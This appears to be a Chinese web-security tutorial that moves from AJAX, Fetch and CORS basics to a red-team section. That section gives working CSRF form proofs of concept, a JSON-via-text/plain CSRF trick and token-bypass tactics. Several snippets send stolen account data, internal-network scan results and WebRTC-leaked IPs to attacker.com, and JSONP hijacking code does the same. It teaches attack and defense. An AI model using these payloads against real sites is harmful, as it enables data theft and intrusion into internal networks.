目录


一、AJAX基础

AJAX = Asynchronous JavaScript And XML(虽然现在常用JSON而非XML)

核心能力:不刷新页面就能向服务器发送HTTP请求并获取数据。

演进历史

XMLHttpRequest (2000s) → Fetch API (2015) → Axios等库

同步 vs 异步

// 同步(阻塞UI,已废弃)
xhr.open('GET', '/api/data', false);  // false = 同步
xhr.send();  // UI卡住直到请求完成
 
// 异步(标准方式)
xhr.open('GET', '/api/data', true);  // true = 异步
xhr.onload = function() { console.log(xhr.responseText); };
xhr.send();

二、XMLHttpRequest详解

基础请求

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/users');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;  // 携带Cookie(跨域需要服务器配合CORS)
 
xhr.onreadystatechange = function() {
  if (xhr.readyState === 4 && xhr.status === 200) {
    console.log(JSON.parse(xhr.responseText));
  }
};
 
xhr.send();

readyState状态

状态说明
0UNSENT未调用open
1OPENED已调用open
2HEADERS_RECEIVED收到响应头
3LOADING正在接收响应体
4DONE完成

CSRF场景中的XHR

// 攻击者脚本:自动发起CSRF请求窃取数据
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://bank.com/api/accounts', true);
xhr.withCredentials = true;  // 自动带Cookie
xhr.onload = function() {
  // 把获取的数据发送到攻击者服务器
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: xhr.responseText
  });
};
xhr.send();

三、Fetch API详解

基础fetch

fetch('https://api.example.com/users', {
  method: 'GET',
  headers: {
    'Content-Type': 'application/json',
  },
  credentials: 'include',  // 携带Cookie
})
  .then(response => response.json())
  .then(data => console.log(data))
  .catch(err => console.error(err));

credentials选项

Cookie行为
'omit'永远不发送Cookie
'same-origin'同源才发送(默认)
'include'始终发送(CORS需要服务器配合)

fetch特点(vs XHR)

特性XHRfetch
Promise支持需包装原生Promise
Service Worker不支持支持
超时设置xhr.timeout需要AbortController
进度事件onprogress没有(需ReadableStream)
错误处理onerror仅网络错误才reject(404/500算resolve)
中止请求xhr.abort()AbortController

中止请求

const controller = new AbortController();
const signal = controller.signal;
 
fetch('https://api.example.com/data', { signal })
  .then(response => response.json());
 
// 5秒后中止
setTimeout(() => controller.abort(), 5000);

四、CORS与跨域请求

什么是CORS

CORS (Cross-Origin Resource Sharing) 是服务器声明允许跨域访问的机制。

简单请求条件(全部满足):

  1. 方法:GET / HEAD / POST
  2. 头部仅:Accept, Accept-Language, Content-Language, Content-Type
  3. Content-Type仅:application/x-www-form-urlencoded, multipart/form-data, text/plain

预检请求(Preflight)

不符合简单请求条件时,浏览器先发OPTIONS预检:

OPTIONS /api/data HTTP/1.1
Origin: https://attacker.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
 
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

CORS关键响应头

响应头说明
Access-Control-Allow-Origin允许的源(不能是*当credentials=true)
Access-Control-Allow-Credentials是否允许携带凭证
Access-Control-Expose-HeadersJS可读取的响应头
Access-Control-Allow-Methods允许的方法
Access-Control-Allow-Headers允许的请求头
Access-Control-Max-Age预检缓存时间

CORS配置错误识别

# 反射Origin
Access-Control-Allow-Origin: https://evil.com
# (Origin: evil.com → 反射 → 允许任意来源)
 
# 空Origin
Access-Control-Allow-Origin: null
# (sandboxed iframe或data: URI的Origin为null)
 
# 预检不过滤方法
Access-Control-Allow-Methods: *

五、CSRF攻击原理与利用

攻击流程

1. 受害者登录 bank.com → 获得Session Cookie
2. 受害者访问 evil.com(攻击者控制)
3. evil.com 自动提交表单到 bank.com/transfer
4. 浏览器自动携带 bank.com 的Cookie
5. bank.com 认为是受害者本人操作 → 转账成功

CSRF Form模板

<!-- 最简单的CSRF POC -->
<form action="https://target.com/change_email" method="POST" id="csrf">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>

跨Content-Type CSRF

<!-- 发送JSON格式的CSRF(利用fetch API) -->
<form id="csrf" enctype="text/plain" 
      action="https://target.com/api/update" method="POST">
  <input type="hidden" name='{"email":"attacker@evil.com","ignored":"' value='"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- 请求体:{"email":"attacker@evil.com","ignored":"="} -->

CSRF Token绕过

场景绕过方式
Token检查缺失直接CSRF
Token可预测猜测Token值
Token在Cookie中利用Cookie Jar溢出 / CRLF注入
Token仅在前端验证绕过JS验证
Token复用用同一个合法Token多次攻击
Token在URL参数中Referer泄露

六、SSRF via前端

内网探测

// 利用img标签探测内网
<img src="http://192.168.1.1:8080" onerror="log('closed')" onload="log('open')">
 
// 批量内网探测
for (let i = 1; i <= 254; i++) {
  let img = new Image();
  img.src = `http://192.168.0.${i}:80/favicon.ico`;
  img.onload = function() {
    fetch('https://attacker.com/alive?ip=192.168.0.' + i);
  };
}

WebRTC泄露内网IP

// 通过WebRTC泄露真实内网IP(即使使用VPN/代理)
const pc = new RTCPeerConnection({ iceServers: [] });
pc.createDataChannel('');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
 
pc.onicecandidate = function(e) {
  if (!e.candidate) return;
  const ip = e.candidate.candidate.match(/(\d+\.\d+\.\d+\.\d+)/);
  if (ip) {
    fetch('https://attacker.com/ip?internal=' + ip[0]);
  }
};

七、JSONP劫持

JSONP原理

// 服务器端JSONP接口
// GET /api/user?callback=handleResponse
// 返回:handleResponse({"name":"admin","email":"admin@bank.com"})
 
// 攻击者页面
<script>
  function handleResponse(data) {
    fetch('https://attacker.com/steal', {
      method: 'POST', 
      body: JSON.stringify(data)
    });
  }
</script>
<script src="https://bank.com/api/user?callback=handleResponse"></script>

JSONP检测

# 检测JSONP端点
curl "https://target.com/api/user?callback=test"
# 如果返回 test({...}) → 存在JSONP
 
# 尝试修改callback参数名
callback=test
jsonp=test
cb=test
jsoncallback=test

八、红队视角总结

CSRF/SSRF/JSONP攻击矩阵

攻击必要条件目标难度
CSRF - GET无Token状态变更端点
CSRF - POST无Token数据修改端点
CSRF - JSONContent-Type可控JSON API
JSONP劫持JSONP端点+回调可控用户敏感数据
SSRF via前端XSS或可控页面内网服务中高
CORS配置错误反射Origin同源策略绕过

防御速查

攻击防御方式
CSRFCSRF Token + SameSite Cookie
JSONP劫持改用CORS + Fetch + 验证Origin
SSRF服务端验证URL,内网地址黑名单
CORS错误固定白名单Origin,不用*

返回 JavaScript 总目录 | 前端基础总目录